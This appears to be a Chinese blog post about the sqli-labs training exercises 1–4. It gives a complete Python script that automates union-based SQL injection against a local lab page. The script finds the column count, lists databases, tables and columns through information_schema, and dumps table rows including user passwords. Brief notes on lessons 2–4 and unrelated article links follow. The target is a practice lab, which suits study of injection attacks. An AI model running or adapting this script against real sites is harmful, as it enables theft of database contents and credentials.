sqli1:

脚本

  1. # -*- coding: utf-8 -*-
  2. """
  3. Created on Sat Mar 23 09:37:14 2019
  4.  
  5. @author: kenshin
  6. """
  7.  
  8. import requests,re
  9. url = 'http://localhost/sqli-labs/Less-1/?id=-1'
  10.  
  11. def Len_OrderBy(url):
  12. pattern_mark = 'Unknown column'
  13. #假设字段长20
  14. for i in range(1,20):
  15. url_new = url + "\' order by "+ str(i) +"--+"
  16. r = requests.get(url_new)
  17. if(re.findall(pattern_mark,r.text)):
  18. print('the lenght of column(order by) is :' + str(i-1) + "\n")
  19. break
  20. return i-1
  21.  
  22. def get_DB(url,lenght):
  23. #注意:由此模式匹配到的是一个数量为1的列表,后续按','将数量拆分成n个,以便输出
  24. pattern_mark = 'Your Login name:(.+?)<br>'
  25. str = ''
  26. for i in range(1,lenght):
  27. str += 'group_concat(schema_name),'
  28. str += 'group_concat(schema_name)'
  29. payload = '\' union select ' + str +' from information_schema.schemata--+'
  30. url += payload
  31. r = requests.get(url)
  32. r = re.findall(pattern_mark,r.text)
  33. #list转str
  34. str_tmp = "".join(r)
  35. #re.split按','拆分
  36. lst = re.split(',',str_tmp)
  37. print('-'*9 + 'databases' + '-'*8)
  38. for s in lst:
  39. print('.' + s )
  40. print('-'*25)
  41.  
  42. def get_TB(url,lenght,db):
  43. pattern_mark = 'Your Login name:(.+?)<br>'
  44. str = ''
  45. for i in range(1,lenght):
  46. str += 'group_concat(table_name),'
  47. str += 'group_concat(table_name)'
  48. payload = "\' union select "+ str +" from information_schema.tables where table_schema=\'" + db + "\'--+"
  49. url += payload
  50. r = requests.get(url)
  51. r = re.findall(pattern_mark,r.text)
  52. #list转str
  53. str_tmp = "".join(r)
  54. #re.split按','拆分
  55. lst = re.split(',',str_tmp)
  56. print('-'*9 +'Database '+ db +'\'s Tables' + '-'*8)
  57. for s in lst:
  58. print('.' + s )
  59. print('-'*35)
  60.  
  61. def get_Column(url,lenght,tb):
  62. pattern_mark = 'Your Login name:(.+?)<br>'
  63. str = ''
  64. for i in range(1,lenght):
  65. str += 'group_concat(column_name),'
  66. str += 'group_concat(column_name)'
  67. payload = "\' union select " +str+ " from information_schema.columns where table_name=\'" +tb+ "\'--+"
  68. url += payload
  69. r = requests.get(url)
  70. r = re.findall(pattern_mark,r.text)
  71. #list转str
  72. str_tmp = ''.join(r)
  73. #re.split按','拆分
  74. lst = re.split(',',str_tmp)
  75. print('-'*9 +'Table '+ tb +'\'s Columns' + '-'*8)
  76. for s in lst:
  77. print('.' + s )
  78. print('-'*35)
  79.  
  80. def get_data(url,lenght,tb,data):
  81. pattern_mark = 'Your Login name:(.+?)<br>'
  82. pattern_mark_pass = 'Your Password:(.+?)</font>'
  83. #if lenght=5
  84. #data=a,b,c
  85. #after expend
  86. #data=a,b,c,4,5
  87. #str to list
  88. lst = data.split(",")
  89. while len(lst) < lenght:
  90. lst.append(str(len(lst)+1))
  91. #list to str
  92. sn = ''
  93. for i in lst:
  94. sn += i+","
  95. #以上循环结果sn='a,b,c,' c后的‘,’舍去才能构造正确payload
  96. sn=sn.rstrip(",")
  97. #格式化输出结果
  98. print('-'*9 +'Table '+ tb +'\'s All datas' + '-'*8)
  99. #假设最多有100组数据
  100. for i in range(1,100):
  101. payload = "\' union select "+ sn +" from "+ tb +" where id="+ str(i) +"--+"
  102. url_new = url + payload
  103. r = r_pass = requests.get(url_new)
  104. r = re.findall(pattern_mark,r.text)
  105. r_pass = re.findall(pattern_mark_pass,r_pass.text)
  106. print(str(r) +" "*(16-len(str(r)))+"=> "+str(r_pass)+" "*(18-len(str(r_pass)))+"|")
  107. if (len(r)==0 and len(r_pass)==0):
  108. break
  109. print("-"*41)
  110.  
  111. #字段长度
  112. lenght = Len_OrderBy(url)
  113. #所有数据库
  114. get_DB(url,lenght)
  115. #由库爆表
  116. db = input("select databases >> ")
  117. get_TB(url,lenght,db)
  118. #由表爆列
  119. tb = input("select table >> ")
  120. get_Column(url,3,tb)
  121. #由表和列名爆数据
  122. data = input("select columns (no more than " +str(lenght)+ ",and separate by ',') >> ")
  123. get_data(url,lenght,tb,data)

脚本 1

sqli2:

与sqli1比较,少了 ',对id没有经过处理。

sqli3:

对id经过了')处理

 sqli4:

对id经过了")处理

sqli-labs:1-4,基于报错的注入的更多相关文章

  1. sql注入--基于报错的注入

    这是经典的sqli-labs 中的less-5 问题首先通过几个常见的进行测试, 发现只要正确的话就会输出you are in.... 并不能绕过,因此不能出现敏感信息,因此要用一种新思路(参考白帽学 ...

  2. Sqli labs系列-less-5&6 报错注入法(上)

    在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...

  3. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

  4. 2019-9-9:渗透测试,基础学习,phpmyadmin getshell方法,基于时间的盲注,基于报错的注入,笔记

    phpmyadmin getshell方法1,查看是否有导入导出设置 show global variables like '%secure-file-priv%';2,如果secure-file-p ...

  5. mysql基于“报错”的注入

    报错是如何转为xss的? mysql语句在页面报错,泄露信息 ===================================================================== ...

  6. Mysql报错型注入总结

    Mysql注入虽然是老生常谈的问题,但是工作中更多的是使用sqlmap等工具进行注入测试的,原理方面还是不是很清楚,所以这段时间主要是自己搭建环境在学手工注入,简单的将自己的学习做一个总结和记录.在常 ...

  7. 基于报错的SQL注入整理

    SQLServer 一.利用错误消息提取信息 输入 'having 1=1 --(having一般要与group by一起来使用,group by是用来进行分组的,having后面是用来进行判断的), ...

  8. web安全之sql注入报错型注入

    前提: echo mysql_error(),输出错误信息. 熟悉的函数: floor()向下取整 concat()返回的字符串参数连接的结果 count()函数返回匹配指定条件的行数 rand()函 ...

  9. 实战记录之SQL server报错手工注入

    前言 最近测试了一个站点,这个站点挺有意思,发现没有关闭错误提示,初步猜测是SQL server数据库,后来验证确实是.在这里记录一下实战过程,并详细讲解一下用到的知识点. SQL server报错注 ...

随机推荐

  1. Java7/8 HashMap ConcurrentHashMap

    网上关于 HashMap 和 ConcurrentHashMap 的文章确实不少,不过缺斤少两的文章比较多,所以才想自己也写一篇,把细节说清楚说透,尤其像 Java8 中的 ConcurrentHas ...

  2. 1.5.7、CDH 搭建Hadoop在安装之前(定制安装解决方案---配置单用户模式)

    配置单用户模式 在传统的Cloudera Manager部署中,管理每台主机上的Hadoop进程的Cloudera Manager Agent以root用户身份运行.但是,某些环境会限制对root帐户 ...

  3. Building and using plug-ins for Android

    [Building and using plug-ins for Android] 1.AAR plug-ins and Android Libraries Android Archive (AAR) ...

  4. idea 安装和破解

    https://blog.csdn.net/SmileLvCha/article/details/78936659

  5. Java Timer

    Java Timer 定时类,主要用来执行定时任务 Timer管理所有要执行的定时任务 TimerTask封装好的定时任务 常见的用法 MyTask myTask = new MyTask(); Ti ...

  6. 四 sys模块

    1 sys.argv 命令行参数List,第一个元素是程序本身路径 2 sys.exit(n) 退出程序,正常退出时exit(0) 3 sys.version 获取Python解释程序的版本信息 4 ...

  7. linux下的C++项目创建

    CMake项目的完整构建 Linux下的CMake项目通常由几个文件夹组成.小伙伴们可以先在自己的电脑上新建一个文件夹,作为你代码的根目录,然后往里面建几个子文件夹,这里并不涉及具体的代码,只是可以作 ...

  8. oracle视图(转)

    视图的概念   视图是基于一张表或多张表或另外一个视图的逻辑表.视图不同于表,视图本身不包含任何数据.表是实际独立存在的实体,是用于存储数据的基本结构.而视图只是一种定义,对应一个查询语句.视图的数据 ...

  9. freetype教程网址

    http://freetype.sourceforge.net/freetype2/docs/reference/ft2-system_interface.html#FT_Stream      ht ...

  10. http406错误

    The resource identified by this request is only capable of generating responses with characteristics ...